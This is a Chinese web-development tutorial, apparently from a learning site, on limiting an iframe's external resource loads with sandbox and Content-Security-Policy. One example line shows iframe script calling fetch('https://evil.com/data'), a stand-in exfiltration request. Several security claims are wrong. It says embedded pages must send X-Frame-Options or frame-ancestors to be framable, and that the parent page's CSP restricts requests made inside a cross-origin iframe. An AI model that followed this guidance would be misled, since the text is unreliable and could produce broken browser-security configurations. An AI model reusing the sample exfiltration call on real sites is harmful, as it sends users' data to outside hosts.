CSP属性不存在于HTML标准，浏览器完全忽略；限制iframe外部资源需组合sandbox（控制初始加载）与父页CSP（约束其发起的fetch/import等子资源请求）。
csp 属性不能用在 iframe 元素上——它根本不存在于 HTML 标准中，浏览器会完全忽略。你想限制 iframe 内部加载外部资源，得靠别的办法。
为什么 csp 属性在 iframe 上无效
HTML 规范里没有 csp 这个全局属性；<iframe csp="..."> 写了也白写，DOM 中查不到，DevTools 里看不到，控制台不报错，但也不起作用。
CSP（Content-Security-Policy）是 HTTP 响应头或 <meta> 标签控制的，作用域是当前文档上下文。iframe 内容的安全策略由其自身响应头决定，父页面无法通过属性“注入”CSP。
-
<iframe src="https://widget.com/" csp="script-src 'self'">→ 完全无效 - 即使 iframe 加载的是同源 HTML，父页也不能靠属性覆盖它的 CSP
- 唯一能影响 iframe 子资源请求的父级机制，是父页自己的 CSP 的
script-src、connect-src等指令（仅对 iframe 发起的 fetch/import 有效）
真正能限制 iframe 外部资源加载的两个关键点
限制能力分两层：一层管 iframe 自身能否加载内容（sandbox），一层管它加载后还能拉什么资源（父页 CSP + iframe 自身响应头）。
-
sandbox="allow-scripts"是前提：没它，连<script src="https://cdn.com/widget.js">都不会发请求 - 父页设置
Content-Security-Policy: script-src 'self' https://trusted.example'→ 这条策略会约束 iframe 内 JS 发起的fetch()、import()、XMLHttpRequest，但不影响 iframe 自身的<script src>加载（那个由 iframe 响应头控制） - iframe 页面自己必须返回
X-Frame-Options或Content-Security-Policy: frame-ancestors ...才能被嵌入；否则连 iframe 都加载失败，更谈不上资源限制
常见误操作和对应现象
很多人以为加个属性就能“给 iframe 上 CSP”，结果发现脚本照跑、API 照调、图片照加载——不是配置错了，是压根没走对路径。
立即学习“前端免费学习笔记（深入）”；
- 只设
sandbox="allow-scripts"却没配父页 CSP → iframe 里的 JS 可以自由fetch('https://evil.com/data') - 在父页 meta 里写 CSP，但 iframe 加载的是第三方页面（如广告）→ 它的响应头通常不带 CSP，且父页 CSP 对它的
<script src>无约束力 - 试图用
iframe.contentDocument动态注入<meta http-equiv="Content-Security-Policy">→ 跨域 iframe 不可访问 contentDocument；同域下也必须在 document.open/write/close 早期插入，否则无效
实际可用的组合方案
要真正收紧 iframe 的外部资源行为，必须组合使用，且顺序不能乱：
- iframe 必须带
sandbox="allow-scripts allow-popups"（按需加其他 token，但禁用allow-same-origin） - 父页面响应头或
<meta>显式声明 CSP，例如：script-src 'self' https://apis.trusted.com; connect-src 'self' https://api.trusted.com - 若 iframe 加载的是你可控的服务，让它返回带 CSP 的响应头（如
Content-Security-Policy: default-src 'none'; script-src https://cdn.trusted.com） - 对纯静态 widget，优先用
srcdoc替代src，彻底规避远程资源加载风险
最易被忽略的是：父页 CSP 只约束 iframe 内代码发起的子资源请求，不约束 iframe 自身的初始 HTML 解析和外链加载 —— 这部分必须靠 sandbox + iframe 自身响应头双重卡死。
